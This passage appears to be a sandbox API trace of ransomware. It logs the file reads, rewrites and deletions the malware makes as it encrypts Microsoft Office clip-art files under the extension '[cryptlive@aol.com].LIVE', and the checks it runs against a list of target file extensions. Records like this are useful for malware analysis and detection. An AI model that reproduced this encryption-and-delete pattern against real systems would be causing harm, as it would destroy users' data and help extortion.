liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.838] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0143.838] GetLastError () returned 0x0 [0143.838] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2332, lpOverlapped=0x0) returned 1 [0143.922] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2340, lpOverlapped=0x0) returned 1 [0143.923] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.923] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.924] SetEndOfFile (hFile=0x394) returned 1 [0143.924] CloseHandle (hObject=0x394) returned 1 [0143.924] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.924] SetEndOfFile (hFile=0x3b4) returned 1 [0143.926] CloseHandle (hObject=0x3b4) returned 1 [0143.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0144.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.015] lstrlenW (lpString=".doc") returned 4 [0144.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.015] lstrlenW (lpString=".docx") returned 5 [0144.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.015] lstrlenW (lpString=".pdf") returned 4 [0144.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.015] lstrlenW (lpString=".xls") returned 4 [0144.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.015] lstrlenW (lpString=".xlsx") returned 5 [0144.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.015] lstrlenW (lpString=".ppt") returned 4 [0144.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.015] lstrlenW (lpString=".zip") returned 4 [0144.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.015] lstrlenW (lpString=".rar") returned 4 [0144.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.015] lstrlenW (lpString=".bz2") returned 4 [0144.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.015] lstrlenW (lpString=".7z") returned 3 [0144.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.015] lstrlenW (lpString=".dbf") returned 4 [0144.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.015] lstrlenW (lpString=".1cd") returned 4 [0144.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.016] lstrlenW (lpString=".jpg") returned 4 [0144.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.016] lstrlenW (lpString=".doc") returned 4 [0144.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.016] lstrlenW (lpString=".docx") returned 5 [0144.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.016] lstrlenW (lpString=".pdf") returned 4 [0144.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.016] lstrlenW (lpString=".xls") returned 4 [0144.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.016] lstrlenW (lpString=".xlsx") returned 5 [0144.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.016] lstrlenW (lpString=".ppt") returned 4 [0144.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.016] lstrlenW (lpString=".zip") returned 4 [0144.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.016] lstrlenW (lpString=".rar") returned 4 [0144.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.016] lstrlenW (lpString=".bz2") returned 4 [0144.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.016] lstrlenW (lpString=".7z") returned 3 [0144.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.016] lstrlenW (lpString=".dbf") returned 4 [0144.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.016] lstrlenW (lpString=".1cd") returned 4 [0144.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0144.017] lstrlenW (lpString=".jpg") returned 4 [0144.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.017] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.017] lstrlenW (lpString="FD01191_.WMF") returned 12 [0144.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.027] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3964) returned 1 [0144.027] CloseHandle (hObject=0x388) returned 1 [0144.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0144.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0144.134] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.134] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0144.135] GetLastError () returned 0x0 [0144.135] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xf7c, lpOverlapped=0x0) returned 1 [0144.146] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xf80, lpOverlapped=0x0) returned 1 [0144.147] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.147] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.147] SetEndOfFile (hFile=0x394) returned 1 [0144.147] CloseHandle (hObject=0x394) returned 1 [0144.147] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.147] SetEndOfFile (hFile=0x3b4) returned 1 [0144.150] CloseHandle (hObject=0x3b4) returned 1 [0144.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0144.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.151] lstrlenW (lpString=".doc") returned 4 [0144.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.152] lstrlenW (lpString=".docx") returned 5 [0144.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.152] lstrlenW (lpString=".pdf") returned 4 [0144.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.152] lstrlenW (lpString=".xls") returned 4 [0144.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.152] lstrlenW (lpString=".xlsx") returned 5 [0144.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.152] lstrlenW (lpString=".ppt") returned 4 [0144.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.152] lstrlenW (lpString=".zip") returned 4 [0144.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.152] lstrlenW (lpString=".rar") returned 4 [0144.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.152] lstrlenW (lpString=".bz2") returned 4 [0144.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.152] lstrlenW (lpString=".7z") returned 3 [0144.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.152] lstrlenW (lpString=".dbf") returned 4 [0144.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.152] lstrlenW (lpString=".1cd") returned 4 [0144.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.152] lstrlenW (lpString=".jpg") returned 4 [0144.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.152] lstrlenW (lpString=".doc") returned 4 [0144.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.152] lstrlenW (lpString=".docx") returned 5 [0144.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.152] lstrlenW (lpString=".pdf") returned 4 [0144.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.153] lstrlenW (lpString=".xls") returned 4 [0144.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.153] lstrlenW (lpString=".xlsx") returned 5 [0144.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.153] lstrlenW (lpString=".ppt") returned 4 [0144.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.153] lstrlenW (lpString=".zip") returned 4 [0144.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.153] lstrlenW (lpString=".rar") returned 4 [0144.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.153] lstrlenW (lpString=".bz2") returned 4 [0144.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.153] lstrlenW (lpString=".7z") returned 3 [0144.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.153] lstrlenW (lpString=".dbf") returned 4 [0144.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.153] lstrlenW (lpString=".1cd") returned 4 [0144.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0144.153] lstrlenW (lpString=".jpg") returned 4 [0144.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.153] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.153] lstrlenW (lpString="FD02071_.WMF") returned 12 [0144.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0144.154] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2188) returned 1 [0144.154] CloseHandle (hObject=0x3b4) returned 1 [0144.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0144.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0144.155] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.155] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0144.155] GetLastError () returned 0x0 [0144.155] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x88c, lpOverlapped=0x0) returned 1 [0144.273] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x890, lpOverlapped=0x0) returned 1 [0144.274] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.274] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.274] SetEndOfFile (hFile=0x394) returned 1 [0144.274] CloseHandle (hObject=0x394) returned 1 [0144.274] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.274] SetEndOfFile (hFile=0x3b4) returned 1 [0144.276] CloseHandle (hObject=0x3b4) returned 1 [0144.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0144.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.278] lstrlenW (lpString=".doc") returned 4 [0144.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString=".docx") returned 5 [0144.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.278] lstrlenW (lpString=".pdf") returned 4 [0144.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString=".xls") returned 4 [0144.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.278] lstrlenW (lpString=".xlsx") returned 5 [0144.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.278] lstrlenW (lpString=".ppt") returned 4 [0144.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.278] lstrlenW (lpString=".zip") returned 4 [0144.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.278] lstrlenW (lpString=".rar") returned 4 [0144.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString=".bz2") returned 4 [0144.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString=".7z") returned 3 [0144.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.279] lstrlenW (lpString=".dbf") returned 4 [0144.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.279] lstrlenW (lpString=".1cd") returned 4 [0144.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.279] lstrlenW (lpString=".jpg") returned 4 [0144.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.279] lstrlenW (lpString=".doc") returned 4 [0144.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString=".docx") returned 5 [0144.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.279] lstrlenW (lpString=".pdf") returned 4 [0144.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString=".xls") returned 4 [0144.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.279] lstrlenW (lpString=".xlsx") returned 5 [0144.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.279] lstrlenW (lpString=".ppt") returned 4 [0144.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.279] lstrlenW (lpString=".zip") returned 4 [0144.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.280] lstrlenW (lpString=".rar") returned 4 [0144.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.280] lstrlenW (lpString=".bz2") returned 4 [0144.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.280] lstrlenW (lpString=".7z") returned 3 [0144.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.280] lstrlenW (lpString=".dbf") returned 4 [0144.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.280] lstrlenW (lpString=".1cd") returned 4 [0144.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0144.280] lstrlenW (lpString=".jpg") returned 4 [0144.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.280] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.280] lstrlenW (lpString="FD02097_.WMF") returned 12 [0144.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0144.281] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1564) returned 1 [0144.281] CloseHandle (hObject=0x3b4) returned 1 [0144.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0144.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0144.281] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.281] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 